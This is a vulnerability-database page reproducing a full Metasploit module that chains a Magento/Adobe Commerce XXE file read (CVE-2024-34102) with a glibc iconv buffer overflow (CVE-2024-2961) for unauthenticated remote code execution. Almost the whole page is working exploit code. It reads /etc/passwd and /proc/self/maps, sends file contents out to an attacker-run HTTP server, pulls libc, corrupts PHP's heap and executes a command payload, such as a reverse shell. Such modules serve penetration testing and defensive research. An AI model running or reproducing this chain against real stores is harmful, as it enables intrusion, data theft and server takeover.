Lucene search

K

Magento / Adobe Commerce Remote Code Execution

🗓️ 18 Oct 2024 00:00:00Reported by Charles FOL, jheysel-r7, Heyder, Sergey Temnikov, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 204 Views

Magento/Adobe Commerce Remote Code Execution. Exploits CVE-2024-34102 and CVE-2024-2961 for RCE on vulnerable versions. XML External Entity and glibc Buffer Overflow allow unauthenticated RCE

Show more
Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Retry  
prepend Msf::Exploit::Remote::AutoCheck  
require 'elftools'  
  
class ProcSelfMapsError < StandardError; end  
  
PAD = 20  
HEAP_SIZE = 2 * 1024 * 1024  
BUG = '劄'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)',  
'Description' => %q{  
This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)  
allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and  
earlier if the PHP and glibc versions are also vulnerable:  
- 2.4.7 and earlier  
- 2.4.6-p5 and earlier  
- 2.4.5-p7 and earlier  
- 2.4.4-p8 and earlier  
  
Vulnerable PHP versions:  
- From PHP 7.0.0 (2015) to 8.3.7 (2024)  
  
Vulnerable iconv() function in the GNU C Library:  
- 2.39 and earlier  
  
The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:  
CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target  
system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.  
The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use  
of later in the chain.  
  
With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961  
can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a  
payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.  
},  
'Author' => [  
'Sergey Temnikov', # CVE-2024-34102 Discovery  
'Charles Fol', # CVE-2024-2961 Discovery + RCE PoC  
'Heyder', # module for CVE-2024-34102  
'jheysel-r7' # module  
],  
'References' => [  
[ 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'],  
[ 'URL', 'https://sansec.io/research/cosmicsting'],  
[ 'URL', 'https://www.ambionics.io/blog/iconv-cve-2024-2961-p1'],  
[ 'URL', 'https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py'], # PoC this module is based on  
[ 'CVE', '2024-2961'],  
[ 'CVE', '2024-34102']  
],  
'License' => MSF_LICENSE,  
'Platform' => %w[linux unix],  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => %w[unix linux],  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd  
# Tested with cmd/linux/http/x64/meterpreter_reverse_tcp  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-07-26', # The date the PoC for this exploit was made public  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),  
OptInt.new('DOWNLOAD_FILE_TIMEOUT', [ true, 'The amount of time to wait for the XXE to return the file requested', 10]),  
]  
)  
end  
  
def check_magento  
etc_password = download_file('/etc/passwd')  
vprint_status('Attempting to download /etc/passwd')  
if etc_password.nil?  
CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).')  
else  
CheckCode::Vulnerable('Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.')  
end  
end  
  
def check_php_rce_requirements  
text = Rex::Text.rand_text_alpha(50)  
base64 = Rex::Text.encode_base64(text)  
path1 = "data:text/plain;base64,#{base64}"  
  
result1 = download_file(path1)  
if result1 == text  
vprint_good('The data wrapper is working')  
else  
return CheckCode::Safe('The data:// wrapper does not work')  
end  
  
text = Rex::Text.rand_text_alpha(50)  
base64 = Rex::Text.encode_base64(text)  
path2 = "php://filter//resource=data:text/plain;base64,#{base64}"  
result2 = download_file(path2)  
  
if result2 == text  
vprint_good('The filter wrapper is working')  
else  
return CheckCode::Safe('The php://filter/ wrapper does not work')  
end  
  
text = Rex::Text.rand_text_alpha(50)  
compressed_text = compress(text)  
base64 = Base64.encode64(compressed_text).gsub("\n", '')  
  
path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}"  
result3 = download_file(path)  
if result3 == text  
vprint_good('The zlib extension is enabled')  
else  
CheckCode::Safe('The zlib extension is not enabled')  
end  
CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.')  
end  
  
def check_libc_version  
begin  
@libc_binary = get_libc  
rescue ProcSelfMapsError => e  
return CheckCode::Unknown("There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")  
end  
  
return CheckCode::Unknown('Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary  
  
# A string similar to the following should appear in the binary: "GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36."  
printable_strings = @libc_binary.scan(/[[:print:]]{20,}/).map(&:strip)  
  
libc_version = nil  
  
printable_strings.each do |string|  
if string =~ /GNU\s+C\s+Library.*version\s+(\d\.\d+)/  
libc_version = Rex::Version.new(Regexp.last_match(1))  
break  
end  
end  
  
CheckCode::Unknown('Unable to determine the version of libc') unless libc_version  
  
if libc_version > Rex::Version.new('2.39')  
CheckCode::Safe("glibc version is not vulnerable: #{libc_version}")  
end  
  
CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}")  
end  
  
def check  
setup_module  
print_status('module setup')  
magento_checkcode = check_magento  
return magento_checkcode unless magento_checkcode.code == 'vulnerable'  
  
print_good(magento_checkcode.reason)  
  
php_checkcode = check_php_rce_requirements  
return php_checkcode unless php_checkcode.code == 'appears'  
  
print_good(php_checkcode.reason)  
  
libc_version_checkcode = check_libc_version  
return libc_version_checkcode unless libc_version_checkcode.code == 'appears'  
  
print_good(libc_version_checkcode.reason)  
CheckCode::Appears  
end  
  
def download_file(file)  
@filter_path = "php://filter/convert.base64-encode/convert.base64-encode/resource=#{file}"  
@target_file = file  
@file_data = nil  
  
send_path(@filter_path)  
retry_until_truthy(timeout: datastore['DOWNLOAD_FILE_TIMEOUT']) do  
break if @file_data  
end  
@file_data  
end  
  
def send_path(path)  
@filter_path = Rex::Text.encode_base64(path)  
  
vprint_status('Sending XXE request')  
vprint_status("Filter path being sent: #{@filter_path}")  
  
system_entity = Rex::Text.rand_text_alpha_lower(4..8)  
  
xml = "<?xml version='1.0' ?>"  
xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"  
xml += '['  
xml += " <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"  
xml += " <!ENTITY % #{system_entity} SYSTEM \"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_file}/#{@filter_path}\"> %#{system_entity}; %#{@xxe_param}; "  
xml += ']'  
xml += "> <r>&#{@xxe_exfil};</r>"  
  
json = {  
address: {  
totalsReader: {  
collectorList: {  
totalCollector: {  
sourceData: {  
data: xml,  
options: 524290  
}  
}  
}  
}  
}  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"),  
'ctype' => 'application/json',  
'data' => JSON.generate(json)  
})  
  
res  
end  
  
def find_main_heap(regions)  
# Any anonymous RW region with a size greater than the base heap size is a candidate.  
# The heap is at the bottom of the region.  
heaps = regions.reverse.each_with_object([]) do |region, arr|  
next unless region[:permissions] == 'rw-p' &&  
region[:stop] - region[:start] >= HEAP_SIZE &&  
(region[:stop] & (HEAP_SIZE - 1)).zero? &&  
['', '[anon:zend_alloc]'].include?(region[:path])  
  
arr << (region[:stop] - HEAP_SIZE + 0x40)  
end  
  
if heaps.empty?  
raise ProcSelfMapsError, "Unable to find PHP's main heap in memory by parsing /proc/self/maps"  
end  
  
first = heaps[0]  
  
if heaps.size > 1  
heap_addresses = heaps.map { |heap| "0x#{heap.to_s(16)}" }.join(', ')  
vprint_status("Potential heaps: [i]#{heap_addresses}[/] (using first)")  
else  
vprint_status("Using [i]0x#{first.to_s(16)}[/] as heap")  
end  
  
vprint_good('Successfully extracted the location in memory of the PHP heap')  
first  
end  
  
def get_libc_region(regions, *names)  
libc_region = regions.find do |region|  
names.any? { |name| region[:path].include?(name) }  
end  
  
unless libc_region  
raise ProcSelfMapsError, 'Unable to locate libc region in /proc/self/maps'  
end  
  
vprint_good("Successfully located the libc region in memory: #{libc_region}")  
libc_region  
end  
  
def get_libc  
@regions ||= get_regions  
@info['heaps'] = find_main_heap(@regions)  
@libc_region ||= get_libc_region(@regions, 'libc-', 'libc.so')  
download_file(@libc_region[:path])  
end  
  
def get_symbols_and_addresses  
begin  
@libc_binary ||= get_libc  
rescue ProcSelfMapsError => e  
fail_with(Failure::UnexpectedReply, "There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")  
end  
fail_with(Failure::UnexpectedReply, 'Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary  
  
# ELFFile expects a file, instead of writing it to disk use StringIO  
libc_binary_file = StringIO.new(@libc_binary)  
elf = ELFTools::ELFFile.new(libc_binary_file)  
symtab_section = elf.section_by_name('.dynsym')  
symbols = symtab_section.symbols  
  
@info['__libc_malloc'] = nil  
@info['__libc_system'] = nil  
@info['__libc_realloc'] = nil  
  
symbols.each do |symbol|  
if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name  
@info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start]  
end  
end  
  
fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc']  
vprint_status("__libc_malloc: #{@info['__libc_malloc']}")  
vprint_status("__libc_system: #{@info['__libc_system']}")  
vprint_status("__libc_realloc: #{@info['__libc_realloc']}")  
end  
  
def get_regions  
# Obtains the memory regions of the PHP process by querying /proc/self/maps.  
maps = download_file('/proc/self/maps')  
raise ProcSelfMapsError, '/proc/self/maps was unable able to be downloaded' if maps.blank?  
  
maps = maps.force_encoding('UTF-8')  
pattern = /^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.+)$/  
regions = []  
  
# Example lines from: /proc/self/maps  
# 712eebe00000-712eec000000 rw-p 00000000 00:00 0 [anon:zend_alloc]  
# 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348 /opt/bitnami/apache/modules/mod_mime.so  
maps.each_line do |region|  
if (match = pattern.match(region))  
start_addr = match[1].to_i(16)  
stop_addr = match[2].to_i(16)  
permissions = match[3]  
path = match[4]  
  
if path.include?('/') || path.include?('[')  
path = path.split(' ', 4).last  
else  
path = ''  
end  
  
current = {  
start: start_addr,  
stop: stop_addr,  
permissions: permissions,  
path: path  
}  
  
regions << current  
else  
raise ProcSelfMapsError, '/proc/self/maps is unparsable'  
end  
end  
vprint_good('Successfully downloaded /proc/self/maps and parsed regions')  
regions  
end  
  
def compress(data)  
# Compress the data and remove the 2-byte header and 4-byte checksum  
compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION)  
compressed_data[2..-5]  
end  
  
def compressed_bucket(data)  
# Returns a chunk of size 0x8000 that, when dechunked, returns the data.  
chunked_chunk(data, 0x8000)  
end  
  
def qpe(data)  
# Emulates quoted-printable-encode.  
data.bytes.map { |x| sprintf('=%02X', x) }.join  
end  
  
def ptr_bucket(*ptrs, size: nil)  
# Raise an error if size is specified and doesn't match the expected length  
if size && ptrs.length * 8 != size  
fail_with(Failure::BadConfig, 'Size must match the length of pointers in ptr_bucket method')  
end  
  
bucket = ptrs.map { |ptr| p64(ptr) }.join  
bucket = qpe(bucket)  
bucket = chunked_chunk(bucket)  
bucket = chunked_chunk(bucket)  
bucket = chunked_chunk(bucket)  
bucket = compressed_bucket(bucket)  
  
bucket  
end  
  
def p64(value)  
[value].pack('Q') # Pack as 64-bit little-endian  
end  
  
def chunked_chunk(data, size = nil)  
if size.nil?  
size = data.bytesize + 8  
end  
keep = data.bytesize + 2 # for "\n\n"  
hex_size = data.bytesize.to_s(16)  
padded_hex_size = hex_size.rjust(size - keep, '0')  
"#{padded_hex_size}\n#{data}\n".b  
end  
  
def build_exploit_path  
addr_free_slot = @info['heaps'] + 0x20  
addr_custom_heap = @info['heaps'] + 0x0168  
addr_fake_bin = addr_free_slot - 0x10  
  
cs = 0x100  
  
# Pad needs to stay at size 0x100 at every step  
pad_size = cs - 0x18  
pad = "\x00" * pad_size  
3.times { pad = chunked_chunk(pad, pad.length + 6) }  
pad = compressed_bucket(pad)  
  
step1_size = 1  
step1 = "\x00" * step1_size  
step1 = chunked_chunk(step1)  
step1 = chunked_chunk(step1)  
step1 = chunked_chunk(step1, cs)  
step1 = compressed_bucket(step1)  
  
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to  
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"  
  
step2_size = 0x48  
step2 = "\x00" * (step2_size + 8)  
step2 = chunked_chunk(step2, cs)  
step2 = chunked_chunk(step2)  
step2 = compressed_bucket(step2)  
  
step2_write_ptr = "0\n".ljust(step2_size, "\x00") + p64(addr_fake_bin)  
step2_write_ptr = chunked_chunk(step2_write_ptr, cs)  
step2_write_ptr = chunked_chunk(step2_write_ptr)  
step2_write_ptr = compressed_bucket(step2_write_ptr)  
  
step3_size = cs  
  
step3_overflow = ("\x00" * (step3_size - BUG.bytes.length) + "\xe5\x8a\x84") # BUG bytes  
step3_overflow = chunked_chunk(step3_overflow)  
step3_overflow = chunked_chunk(step3_overflow)  
step3_overflow = chunked_chunk(step3_overflow)  
step3_overflow = compressed_bucket(step3_overflow)  
  
step4_size = cs  
step4 = '=00' + "\x00" * (step4_size - 1)  
3.times { step4 = chunked_chunk(step4) }  
step4 = compressed_bucket(step4)  
  
step4_pwn = ptr_bucket(  
0x200000,  
0,  
# free_slot  
0,  
0,  
addr_custom_heap, # 0x18  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
@info['heaps'], # 0x140  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
size: cs  
)  
  
step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18)  
step4_use_custom_heap_size = 0x140  
  
# Fetch payloads run the payload in the background and results in multiple sessions being returned.  
# If we prevent the payload from running in the background and kill the parent process after the payload completes  
# running successfully we ensure only one session gets returned and improves the stability allowing the exploit to  
# be run consecutively without issue.  
if payload.encoded.ends_with?(' &')  
command = "#{payload.encoded}& kill -9 $PPID"  
else  
command = "#{payload.encoded} && kill -9 $PPID"  
end  
  
command = (command + "\x00").b  
command = command.ljust(step4_use_custom_heap_size, "\x00".b)  
  
vprint_status("COMMAND: #{command}")  
  
step4_use_custom_heap = command  
step4_use_custom_heap = qpe(step4_use_custom_heap)  
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)  
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)  
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)  
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)  
  
pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2))  
  
resource = compress(compress(pages))  
resource = Base64.encode64(resource.b)  
resource = "data:text/plain;base64,#{resource.gsub("\n", '')}"  
  
filters = [  
# Create buckets  
'zlib.inflate',  
'zlib.inflate',  
# Step 0: Setup heap  
'dechunk',  
'convert.iconv.latin1.latin1',  
# Step 1: Reverse FL order  
'dechunk',  
'convert.iconv.latin1.latin1',  
# Step 2: Put fake pointer and make FL order back to normal  
'dechunk',  
'convert.iconv.latin1.latin1',  
# Step 3: Trigger overflow  
'dechunk',  
'convert.iconv.UTF-8.ISO-2022-CN-EXT',  
# Step 4: Allocate at arbitrary address and change zend_mm_heap  
'convert.quoted-printable-decode',  
'convert.iconv.latin1.latin1',  
]  
  
filters_string = filters.join('/')  
  
"php://filter/#{filters_string}/resource=#{resource}"  
end  
  
def setup_module  
@url_file = Rex::Text.rand_text_alpha_lower(4..8)  
@url_data = Rex::Text.rand_text_alpha_lower(4..8)  
@xxe_param = Rex::Text.rand_text_alpha_lower(4..8)  
@xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8)  
@info = Hash.new  
@module_setup_complete = true  
  
if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'  
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')  
end  
  
start_service({  
'Uri' => {  
'Proc' => proc do |cli, req|  
on_request_uri(cli, req)  
end,  
'Path' => '/'  
},  
'ssl' => false  
})  
print_status('Server started')  
end  
  
def exploit  
setup_module unless @module_setup_complete  
fail_with(Failure::BadConfig, 'Payload is too big') if payload.encoded.length >= 0x140 # step4_use_custom_heap_size  
print_status('Attempting to parse libc to extract necessary symbols and addresses')  
get_symbols_and_addresses  
print_status('Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps')  
path = build_exploit_path  
print_status('Sending payload...')  
send_path(path)  
end  
  
def cleanup  
# Clean and stop HTTP server  
if service  
begin  
service.remove_resource(datastore['URIPATH'])  
service.deref  
service.stop  
self.service = nil  
rescue StandardError => e  
print_error("Failed to stop http server due to #{e}")  
end  
end  
super  
end  
  
def on_request_uri(cli, req)  
super  
url_parts = req.uri.split('/')  
case url_parts[1]  
when @url_file  
path = Rex::Text.decode_base64(url_parts[2])  
data = Rex::Text.rand_text_alpha_lower(4..8)  
response = "  
<!ENTITY % #{data} SYSTEM \"#{path}\">  
<!ENTITY % #{@xxe_param} \"<!ENTITY #{@xxe_exfil} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_data}/%#{data};'>\">"  
send_response(cli, response)  
when @url_data  
@file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, '')))  
send_response(cli, '')  
else  
print_bad('Server received an unexpected request.')  
end  
end  
end  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo